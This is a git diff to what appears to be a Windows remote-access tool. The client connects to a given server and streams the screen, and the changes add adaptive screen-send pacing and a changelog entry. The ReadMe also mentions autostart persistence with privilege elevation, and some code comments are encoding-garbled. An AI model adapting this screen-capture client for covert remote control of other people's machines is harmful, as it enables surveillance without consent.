diff --git a/ReadMe.txt b/ReadMe.txt index 726826c..df4e060 100644 --- a/ReadMe.txt +++ b/ReadMe.txt @@ -210,3 +210,6 @@ TestRun在写入开机自启动项时先提升权限,以防止因权限不足 2019.5.8 优化左键点击Yama托盘图标的效果。 + +2019.5.11 +优化远程桌面发送屏幕的功能,可动态调整发送屏幕的速率。 diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 979581c..560d401 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -60,7 +60,7 @@ int main(int argc, const char *argv[]) SetConsoleCtrlHandler(&callback, TRUE); const char *szServerIP = argv[1]; int uPort = atoi(argv[2]); - printf("[remote] %s:%d\n", szServerIP, uPort); + printf("[server] %s:%d\n", szServerIP, uPort); memcpy(g_szServerIP,szServerIP,strlen(szServerIP)); g_uPort = uPort; diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 1c74ed9..d9fb2bc 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -285,7 +285,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength) BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello { - AUTO_TICK(10); + AUTO_TICK(50); assert (ulOriginalLength > 0); { //1.001Ҳѹռõڴռԭһ +12 diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index e936eb5..b073672 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -53,6 +53,8 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const int fps = 8;// ֡ #endif const int sleep = 1000 / fps;// ʱ䣨ms + int c1 = 0, c2 = 0, s0 = sleep; + const int frames = fps; // ÿĻٶ timeBeginPeriod(1); while (This->m_bIsWorking) { @@ -60,10 +62,28 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam) const char* szBuffer = This->GetNextScreen(ulNextSendLength); if (szBuffer) { - int span = sleep-(clock() - last); + int span = s0-(clock() - last); Sleep(span > 0 ? span : 1); if (span < 0) - printf("SendScreen Span = %d ms\n", span); + { + c2 = 0; + if (frames == ++c1) { + s0 = (s0 <= sleep*4) ? s0*2 : s0; + c1 = 0; +#ifdef _DEBUG + printf("[+]SendScreen Span= %dms, s0= %d\n", span, s0); +#endif + } + } else { + c1 = 0; + if (frames == ++c2) { + s0 = (s0 >= sleep/4) ? s0/2 : s0; + c2 = 0; +#ifdef _DEBUG + printf("[-]SendScreen Span= %dms, s0= %d\n", span, s0); +#endif + } + } last = clock(); This->SendNextScreen(szBuffer, ulNextSendLength); }